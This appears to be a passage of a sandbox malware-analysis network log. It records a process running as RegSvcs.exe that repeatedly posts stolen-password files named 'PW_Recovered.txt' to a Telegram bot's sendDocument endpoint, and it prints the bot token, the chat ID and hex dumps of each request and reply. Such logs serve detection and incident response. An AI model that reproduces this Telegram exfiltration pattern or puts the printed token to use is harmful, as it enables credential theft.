{"ok":true,"result":{"message_id":12842,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	61698	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:53 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd065e266dc598 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:53 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 36 35 65 32 36 36 64 63 35 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd065e266dc598Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:53 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:53 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12843,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	61700	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:55 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0270272e694b Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:55 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 32 37 30 32 37 32 65 36 39 34 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dd0270272e694bContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:55 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:55 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12845,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	61702	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:56 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd08864f6f4d2d Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:56 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 38 38 36 34 66 36 66 34 64 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd08864f6f4d2dContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:56 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:57 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12846,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	61704	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:59 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd02f8244d88eb Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:59 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 32 66 38 32 34 34 64 38 38 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dd02f8244d88ebContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:59 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:59 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12847,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	61706	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:25:01 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd091525bd2ff7 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:25:01 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 39 31 35 32 35 62 64 32 66 66 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd091525bd2ff7Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:25:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:25:01 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:25:01 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12848,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	61708	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:25:03 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0b324555a5aa Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:25:03 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 62 33 32 34 35 35 35 61 35 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd0b324555a5aaContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:25:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:25:03 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:25:03 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12849,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	61709	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:25:03 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd06cf902e9b27 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:25:03 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 36 63 66 39 30 32 65 39 62 32 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dd06cf902e9b27Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:25:04 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:25:04 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:25:04 UTC	562	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12850,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	61713	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:25:10 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcd873cf4d1d1f Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
